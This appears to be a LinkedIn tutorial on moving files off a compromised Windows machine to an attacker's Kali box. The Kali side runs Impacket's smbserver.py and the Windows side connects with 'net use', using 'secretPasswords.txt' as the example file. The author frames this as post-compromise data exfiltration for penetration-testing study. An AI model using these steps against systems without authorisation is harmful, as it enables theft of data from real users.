Transfer Files from Windows to Kali

Transfer Files from Windows to Kali

Here is an easy way to transfer files from a Windows computer to your Kali box. This of course would be post-compromise.

The tool being used is smbserver.py from Impacket. This should already be on your Kali box by default, but if not you can grab it from Github:

https://github.com/fortra/impacket


Once you're ready, here are the steps you can take.

On Kali

python3 /opt/impacket/examples/smbserver.py -smb2support myshare2 .        

  • This command opens up the share on the Kali box
  • Make sure to use the flag -smb2support or you will get an error when you try to transfer
  • myshare2 is just the name I used for the share I created. This can be anything you want.
  • The dot " . " at the end means that I want the share created in my current location. You can also enter a path if you want /path/to/wherever

On Windows

From the Windows Command Prompt

net use \\<IP to your Kali box>\myshare2        
No alt text provided for this image

(In the screenshot I left off the "2" at the end of my file share name by accident, but it should end with the name of your share)

On Windows Explorer

  • I like to open two Explorer windows.
  • One has the file I want to transfer, "secretPasswords.txt" for example.
  • The second is where I will connect to the server on my Kali box.
  • To connect enter the IP address of your Kali box followed by the name of the share.

\\<Kali IP>\myshare2        
No alt text provided for this image

  • Now just drag the file you want to move from the first Explorer window to the Explorer Window connected to the share.

On Kali

  • Open a new terminal and move to where the share is open and you should have the file you wanted.

I hope this was helpful for you. When I needed to know how to do this, I found lots of resources on how to move files from Kali to Windows, not the other way around.

Taqi K.

Coding My Way to a Better Future | UniSA

1 年

I use FileZilla and transfer via ssh, very easy.

要查看或添加评论,请登录

Julio Sanchez的更多文章

  • Azure Methodology

    Azure Methodology

    I recently completed the four week Microsoft Cloud Attack and Defense Bootcamp from PWNED Labs and it was awesome! I…

    4 条评论
  • Hoaxshell - Windows Reverse Shell

    Hoaxshell - Windows Reverse Shell

    I hope you enjoy this short and sweet write-up on Hoaxshell. Victim host details Run Hoaxshell Generate shell payload…

    2 条评论
  • Simple CTF from TryHackMe

    Simple CTF from TryHackMe

    I wrote this walkthrough to help me remember what I learned as well as give back and hopefully help someone just…

  • My path to earning Security+

    My path to earning Security+

    What did you use to pass? That's the question most of us ask as we're getting ready to challenge the compTIA Security+…

    3 条评论

社区洞察

其他会员也浏览了